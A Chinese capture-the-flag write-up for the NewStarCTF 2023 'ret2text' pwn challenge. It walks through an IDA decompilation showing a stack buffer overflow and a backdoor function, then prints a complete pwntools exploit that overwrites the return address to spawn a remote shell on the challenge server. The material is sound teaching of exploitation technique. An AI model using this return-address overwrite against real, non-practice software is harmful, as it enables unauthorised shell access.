NewStarCTF 2023 WEEK1|PWN ret2text

拖进IDA,查看

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  return 0;
}

main函数,里read函数,分配了32(0x20)个大小 指定了0x100,有栈溢出漏洞

复制代码
int backdoor()
{
  puts("Congratulations!!!");
  return execve("/bin/sh", 0LL, 0LL);
}

又发现了后门函数,

复制代码
; Attributes: bp-based frame

public backdoor
backdoor proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
lea     rax, s          ; "Congratulations!!!"
mov     rdi, rax        ; s
call    _puts
mov     edx, 0          ; envp
mov     esi, 0          ; argv
lea     rax, path       ; "/bin/sh"
mov     rdi, rax        ; path
call    _execve
nop
pop     rbp
retn
; } // starts at 4011FB
backdoor endp

查看起始地址 为4011FB

  • payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)

完整exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",27131) 
payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)
p.sendline(payload)
p.interactive()
相关推荐
云飞云共享云桌面2 小时前
传统工作站 vs 云飞云共享云桌面:制造业设计云桌面选型深度对比
运维·服务器·前端·网络·3d·架构·制造
JAVA面经实录9173 小时前
操作系统面试题
java·服务器·数据库·计算机网络·面试
小刘|4 小时前
Spring AI Alibaba 集成和风天气 API 实战
java·服务器·前端
zyplayer-doc5 小时前
企业知识库安全与权限管理完全指南:从加密到审计的六层防护
人工智能·安全·pdf·编辑器·创业创新
Maynor9965 小时前
我用 Codex 给自己的网站上线了一个智能体客服:从 Dify 到服务器部署,全程实战复盘
运维·服务器
聚名网5 小时前
域名net,com,cn有区别吗?有哪些不同呢?
服务器·开发语言·php
java_cj6 小时前
深入kubectl create源码:从YAML到Pod的完整链路拆解
运维·云原生·容器·kubernetes
小小小花儿6 小时前
SSH密钥配置(免密连接远程服务器)
服务器·ssh
天天讯通7 小时前
OKCC 呼叫中心安全性能全解析:技术防护与管理措施指南
大数据·开发语言·网络·人工智能·安全·语音识别
深圳恒讯7 小时前
越南服务器BGP多线和单线有什么区别?
运维·服务器